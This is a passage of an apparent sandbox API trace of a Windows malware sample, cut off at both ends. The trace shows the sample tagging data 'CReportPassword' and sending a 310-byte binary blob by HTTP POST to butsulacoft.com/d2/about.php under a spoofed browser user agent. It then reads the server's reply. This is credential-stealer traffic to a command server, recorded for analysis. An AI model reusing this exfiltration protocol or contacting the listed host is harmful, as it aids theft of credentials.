phglobal=0x21fb84) returned 0x0 [0057.015] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.015] GlobalLock (hMem=0x220004) returned 0x2e29c0 [0057.015] LocalAlloc (uFlags=0x40, uBytes=0x1a6) returned 0x2cbb30 [0057.016] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0057.016] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0057.016] GlobalUnlock (hMem=0x220004) returned 0 [0057.016] lstrlenA (lpString="CReportPassword") returned 15 [0057.016] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0057.016] IStream:Stat (in: This=0x2c1a58, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0057.016] IStream:Commit (This=0x2c1a58, grfCommitFlags=0xbc0e640) returned 0x0 [0057.016] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x2cbb30) returned 0x0 [0057.016] LocalFree (hMem=0x2cbb30) returned 0x0 [0057.016] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.016] GetHGlobalFromStream (in: pstm=0x2c1a58, phglobal=0x21fc9c | out: phglobal=0x21fc9c) returned 0x0 [0057.016] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.016] GlobalLock (hMem=0x220004) returned 0x2e29c0 [0057.016] GlobalUnlock (hMem=0x220004) returned 0 [0057.016] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.016] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fc88) returned 0x0 [0057.016] GetHGlobalFromStream (in: pstm=0x2c1a58, phglobal=0x21fc9c | out: phglobal=0x21fc9c) returned 0x0 [0057.016] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.016] GlobalLock (hMem=0x220004) returned 0x2e29c0 [0057.016] GlobalUnlock (hMem=0x220004) returned 0 [0057.016] IStream:LockRegion (This=0x2c1a58, libOffset=0xfffffffc, cb=0x0, dwLockType=0x2) returned 0x0 [0057.016] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0057.016] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.016] IStream:LockRegion (This=0x2c1a58, libOffset=0x12e, cb=0x0, dwLockType=0x0) returned 0x0 [0057.016] IStream:SetSize (This=0x2c1a58, libNewSize=0x21fc78) returned 0x0 [0057.016] GetTickCount () returned 0x15e93 [0057.016] GetHGlobalFromStream (in: pstm=0x2c1a58, phglobal=0x21fb88 | out: phglobal=0x21fb88) returned 0x0 [0057.016] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.016] GlobalLock (hMem=0x220004) returned 0x2e29c0 [0057.016] LocalAlloc (uFlags=0x40, uBytes=0x1b2) returned 0x2e2b08 [0057.016] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0057.016] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0057.017] GlobalUnlock (hMem=0x220004) returned 0 [0057.017] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0057.017] IStream:Stat (in: This=0x2c1a58, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0057.017] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fb8c) returned 0x0 [0057.017] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x2e2b08) returned 0x0 [0057.017] LocalFree (hMem=0x2e2b08) returned 0x0 [0057.017] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.017] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.017] GetHGlobalFromStream (in: pstm=0x2c1a58, phglobal=0x21fcf0 | out: phglobal=0x21fcf0) returned 0x0 [0057.017] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.017] GlobalLock (hMem=0x220004) returned 0x2e29c0 [0057.017] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x307468 [0057.017] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x3084f0 [0057.017] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x309578 [0057.017] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x30a600 [0057.017] InternetCrackUrlA (in: lpszUrl="http://butsulacoft.com/d2/about.php", dwUrlLength=0x0, dwFlags=0x80000000, lpUrlComponents=0x21fc5c | out: lpUrlComponents=0x21fc5c) returned 1 [0057.032] InternetCreateUrlA (in: lpUrlComponents=0x21fc5c, dwFlags=0x80000000, lpszUrl=0x309578, lpdwUrlLength=0x21fc9c | out: lpszUrl="http://butsulacoft.com/d2/about.php", lpdwUrlLength=0x21fc9c) returned 1 [0057.032] InternetCrackUrlA (in: lpszUrl="http://butsulacoft.com/d2/about.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x21fc5c | out: lpUrlComponents=0x21fc5c) returned 1 [0057.032] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x30a600, cbSize=0x21fc98 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", cbSize=0x21fc98) returned 0x0 [0057.035] wsprintfA (in: param_1=0x309578, param_2="POST %s HTTP/1.0\r\nHost: %s\r\nAccept-Encoding: identity, *;q=0\r\nAccept-Language: en-US\r\nContent-Length: %lu\r\nContent-Type: application/octet-stream\r\nConnection: close\r\nUser-Agent: %s\r\nContent-Encoding: binary\r\n\r\n" | out: param_1="POST /d2/about.php HTTP/1.0\r\nHost: butsulacoft.com\r\nAccept-Encoding: identity, *;q=0\r\nAccept-Language: en-US\r\nContent-Length: 310\r\nContent-Type: application/octet-stream\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\r\nContent-Encoding: binary\r\n\r\n") returned 422 [0057.035] socket (af=2, type=1, protocol=6) returned 0x228 [0057.040] htons (hostshort=0x50) returned 0x5000 [0057.040] inet_addr (cp="butsulacoft.com") returned 0xffffffff [0057.040] gethostbyname (name="butsulacoft.com") returned 0x303dd0*(h_name="butsulacoft.com", h_aliases=0x303de0*=(), h_addrtype=2, h_length=4, h_addr_list=0x303de4*=([0]="62.109.18.138")) [0057.058] connect (s=0x228, name=0x21fc2c*(sa_family=2, sin_port=0x50, sin_addr="62.109.18.138"), namelen=16) returned 0 [0057.153] setsockopt (s=0x228, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0057.153] lstrlenA (lpString="POST /d2/about.php HTTP/1.0\r\nHost: butsulacoft.com\r\nAccept-Encoding: identity, *;q=0\r\nAccept-Language: en-US\r\nContent-Length: 310\r\nContent-Type: application/octet-stream\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\r\nContent-Encoding: binary\r\n\r\n") returned 422 [0057.154] send (in: s=0x228, buf=0x309578*, len=422, flags=0 | out: buf=0x309578*) returned 422 [0057.154] send (in: s=0x228, buf=0x2e29c0*, len=310, flags=0 | out: buf=0x2e29c0*) returned 310 [0057.154] LocalAlloc (uFlags=0x40, uBytes=0x7d80) returned 0x310e10 [0057.155] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f428 | out: ppstm=0x21f428*=0x2e7fa0) returned 0x0 [0057.155] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.411] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.411] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.411] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.411] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.411] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.411] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.411] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.411] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.411] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.411] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.411] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.411] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.411] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.411] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.411] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.411] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.411] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.411] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.411] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.411] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.411] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.411] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.411] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.411] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.411] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.411] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.411] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.411] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.412] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.412] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.412] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.412] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.412] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.412] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.412] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.412] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.412] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.412] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.412] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.412] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.412] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.412] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.412] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.412] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.412] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.412] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.412] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.412] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.412] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.412] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.412] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.412] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.412] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.412] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.412] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.412] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.412] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.412] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.412] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.412] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.412] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.412] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.412] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.412] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.412] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.412] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.413] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x8, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x9, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0xa, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0xd, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0xe, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0xf, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x11, cb=0x0, dwLockType=0x0) returned 0x0 [0057.413] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.413] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.413] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.413] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.413] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.413] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.413] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.413] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.413] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.413] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.413] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.413] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.413] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.414] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.414] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.414] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.414] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.414] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.414] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.414] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.414] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.414] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.414] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.414] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.414] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.414] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.414] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.414] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.414] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.414] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.414] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.414] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.414] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.414] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.414] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.414] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.414] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.414] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.414] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.414] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.414] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.414] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.414] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.414] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.414] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.414] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.414] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.414] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.414] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.414] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.415] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.415] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.415] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.415] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.415] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.415] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.415] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.415] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.415] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.415] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.415] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.415] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.415] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.415] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.415] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.415] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: 